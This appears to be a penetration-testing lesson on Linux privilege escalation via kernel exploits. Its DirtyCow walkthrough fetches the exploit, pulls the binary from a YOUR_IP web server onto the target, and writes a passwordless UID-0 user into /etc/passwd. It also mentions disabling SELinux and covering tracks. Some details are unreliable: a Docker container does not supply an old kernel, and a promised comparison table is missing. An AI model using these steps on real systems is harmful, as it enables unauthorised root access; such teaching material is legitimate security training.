Linux Kernel Exploits

You've popped a shell on a Linux target, but you're stuck as an unprivileged user. You can read your own files, maybe run a few commands, but the system's secrets — password hashes, config files, root-owned data — are off-limits. This is the moment where many penetration tests stall. But it doesn't have to. The kernel, the very core of the operating system, can become your ladder to root. In this lesson, you'll learn how to privilege escalate Linux with kernel exploits — a powerful technique that can turn a low-privilege foothold into full system compromise. We'll walk through the mental model, the step-by-step process, and a hands-on example, so you can apply this skill in your own authorized security assessments.

The Problem This Lesson Solves

When you first gain access to a Linux system — via a vulnerable web app, a misconfigured service, or a weak SSH password — you're typically operating with a standard user account. This limits what you can do: you can't read /etc/shadow directly, you can't install software system-wide, and you can't kill critical processes. The goal of privilege escalation is to gain root or higher privileges, unlocking the full system. Kernel exploits are one of the most direct routes to that goal, but they're also risky. A poorly executed exploit can crash the system, which is why understanding the mechanics is crucial for ethical hackers who need to maintain stealth and system stability.

Consider a real-world scenario: you compromise a Tomcat server running as user tomcat. You have a shell, but you can't access the database credentials stored in a root-only config. With a kernel exploit, you could escalate to root and extract those credentials, moving deeper into the network. This lesson gives you the foundation to do that safely and effectively.

Core Concept / Mental Model

The Linux kernel is the privileged intermediary between hardware and software. It manages memory, processes, devices, and system calls. When programs need to interact with hardware or access protected resources, they make system calls that the kernel executes on their behalf. The kernel runs with the highest CPU privilege level, known as ring 0.

A kernel exploit targets a vulnerability in the kernel's code or logic, tricking it into performing actions that the calling user shouldn't be allowed to do. Think of it like this: the kernel is a security guard. You (an unprivileged user) are a visitor. Normally, the guard checks your ID before letting you into restricted areas. A kernel exploit is like finding a flaw in the guard's training — a way to make him open the door for you without checking your ID, or even make him hand over the master key. Once you have that master key (root privileges), you can go anywhere.

There are different types of kernel vulnerabilities: - Race conditions: Exploiting the timing between a security check and a resource access. - Use-after-free: Accessing memory after it's been freed, potentially leading to arbitrary code execution. - Buffer overflows: Writing more data into a buffer than it can hold, corrupting adjacent memory.

Most kernel exploits result in arbitrary code execution with kernel privileges. The exploit code runs in ring 0, meaning it can modify kernel structures, escalate the current process's credentials, or even patch the kernel itself. For privilege escalation, a common payload is to overwrite the cred structure of the current process, changing its UID to 0 (root).

How It Works Step by Step

To successfully privilege escalate Linux with a kernel exploit, you need a systematic approach. Let's break it down into logical steps, from reconnaissance to execution.

1. Identify the Kernel Version

The first step is always to know exactly what kernel you're dealing with. Different kernel versions have different sets of known vulnerabilities. Run:

uname -r

This outputs something like 5.15.0-101-generic. The kernel version includes the major, minor, and patch level, all of which matter.

2. Gather System Information

Beyond the kernel version, collect other clues:

cat /etc/os-release
cat /proc/version

The distribution and build info can help you narrow down applicable exploits, as some vulnerabilities only affect specific releases.

3. Search for Known Exploits

With the kernel version in hand, you can search for relevant exploits. Sources like Exploit-DB, Metasploit, or GitHub host many kernel exploits. A useful command-line tool is searchsploit (from Exploit-DB):

searchsploit linux kernel 5.15 local privilege escalation

This returns a list of exploits, often with their CVE identifiers and a path to the source code.

4. Assess Applicability

Not every exploit works everywhere. You must check: - Is the kernel compilation config (CONFIG_*) compatible? Some exploits require specific options enabled. - Is the architecture x86_64 or arm64? Many exploits are architecture-specific. - Does the exploit require special conditions, like a specific filesystem or cgroup setup?

5. Compile and Transfer the Exploit

Most kernel exploits are written in C and need to be compiled on a system with the same architecture. Since the target may not have a compiler, a common approach is to compile the exploit on your local machine (or a VM with the same distro) and transfer the binary. If compiling locally, use:

gcc -pthread exploit.c -o exploit

Then transfer exploit to the target using a web server, scp, or by encoding it and pasting it into the shell.

6. Execute and Verify

Run the exploit and immediately check your privileges with id. If successful, you'll see uid=0(root). Always verify the shell is truly root, not just a fake prompt.

Hands-On Walkthrough

Let's put this into practice. We'll create a small, vulnerable environment and use the classic DirtyCow (CVE-2016-5195) exploit as an example, because it's well-documented and works on many older kernels. The goal is to get a root shell.

Setting Up a Target

For testing in your lab, you can use a vulnerable VM. Here's a quick way to spin one up with Docker (on an older kernel, ideally), but for a real test, use a dedicated VM with a kernel like 4.4.0.

# On your host, run a container with a vulnerable kernel (if supported)
docker run --rm -it --privileged ubuntu:16.04 /bin/bash
# Inside the container, check the kernel version
uname -r

Downloading and Compiling the Exploit

On your local machine, download the DirtyCow exploit source:

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Compile it:

gcc -pthread dirtyc0w.c -o dirtyc0w

Transfer the binary to the target via a web server:

python3 -m http.server 8080
# On the target:
wget http://YOUR_IP:8080/dirtyc0w -O /tmp/dirtyc0w

Executing the Exploit

On the target, make the binary executable and run it. DirtyCow typically overwrites a read-only file with your payload. For privilege escalation, a common trick is to overwrite /etc/passwd to add a root user:

chmod +x /tmp/dirtyc0w
/tmp/dirtyc0w /etc/passwd "root2::0:0:root:/root:/bin/bash"

Now, switch to the new user with no password:

su root2
id

If successful, id shows uid=0(root). The system now thinks root2 is a root user because we added an entry to /etc/passwd with UID 0.

Explanation of the Output

• The dirtyc0w command writes the string root2::0:0:root:/root:/bin/bash to /etc/passwd, exploiting a race condition that lets a non-root user write to a read-only mapping.
• The su command switches to root2, which has no password (empty password field), and because the UID is 0, the system grants root privileges.

This is just one example. Modern kernels have patched DirtyCow, so in a real engagement you'd need a more current exploit. But the workflow remains the same: identify, search, compile, transfer, execute.

Compare Options / When to Choose What

Kernel exploits are powerful but not the only way to elevate privileges. Here's a quick comparison with other common techniques:

Kernel exploits should be your last resort because they're the most likely to destabilize the system. They might also trigger security alerts (some kernels panic on suspicious activity). Prefer lower-level misconfigurations first, as they are stealthier and more reliable.

Variations in Kernel Exploits

Not all kernel exploits are created equal. Here are a few variations you might encounter:

• Local vs. Remote: Some exploits require local access (you already have a shell), others can be triggered remotely. For privilege escalation, you'll typically use local exploits.
• Race condition exploits: Like DirtyCow, depend on a window between a check and a use. They may need multiple attempts to succeed.
• Arbitrary write exploits: Allow writing to kernel memory, often used to overwrite privileged structures. These are more complex but reliable when crafted correctly.

Troubleshooting & Edge Cases

Kernel exploits can fail for many reasons. Here's how to diagnose and fix common issues:

The Exploit Compiles with Errors

• Missing headers: Install linux-headers-$(uname -r) to get the kernel headers needed for compilation.
• Architecture mismatch: Ensure you're compiling on the same architecture as the target (x86_64 vs i386). Use file on the binary to check.
• Too old/new GCC: Some exploits require a specific compiler version. Try gcc-4.8 or clang if available.

The Exploit Crashes the System

• Kernel panics: This means the exploit triggered an unhandled kernel error. Note the kernel version and try a different exploit; some are more stable than others.
• Incorrect kernel version: You may be using an exploit for a different patch level. Double-check with uname -a.
• Kernel mitigations: Modern kernels have protections like SMEP, SMAP, and KASLR that break many old exploits. Look for exploits that specifically bypass these.

The Exploit Runs but Doesn't Give Root

• Check permissions: The exploit may need to be run twice (like DirtyCow). Try again.
• Check kernel config: Some exploits require CONFIG_* options. You can check with grep CONFIG /boot/config-$(uname -r).
• SELinux/AppArmor: Mandatory Access Control (MAC) systems can block the exploit's actions. Temporarily disable them if the context allows (with setenforce 0 as root) — but note this in your report.

The Target Has No Compiler

• Cross-compile: Use aarch64-linux-gnu-gcc for ARM targets, or compile on a VM with the same OS.
• Use Metasploit: Many kernel exploits are already built into the Metasploit framework, which can auto-compile a static binary for you.
• Static compilation: Compile with -static to avoid dynamic linking issues on the target.

What You Learned & What's Next

Congratulations! You've learned the core idea behind privilege escalating Linux with kernel exploits. You can now:

• Explain the core idea: Kernel exploits take advantage of vulnerabilities in the Linux kernel to execute code with ring 0 privileges, effectively granting root access.
• Complete a practical exercise: You went through the full workflow — from identifying the kernel version, searching for exploits, compiling, transferring, and executing — and verified root access with the id command.

You also understand the risks and when to use kernel exploits as a last resort compared to other privilege escalation techniques. This knowledge is crucial for ethical hackers who need to demonstrate impact responsibly.

What's next? In the next lesson, we'll cover post-exploitation enumeration — what to do once you have root. That includes grabbing credentials, maintaining access, and covering your tracks. Master that, and you'll be able to turn a simple shell into a full, sustained compromise.

Now, head over to the lab and try this out in a controlled environment. Remember: with great power comes great responsibility. Only test on systems you own or have written permission to test.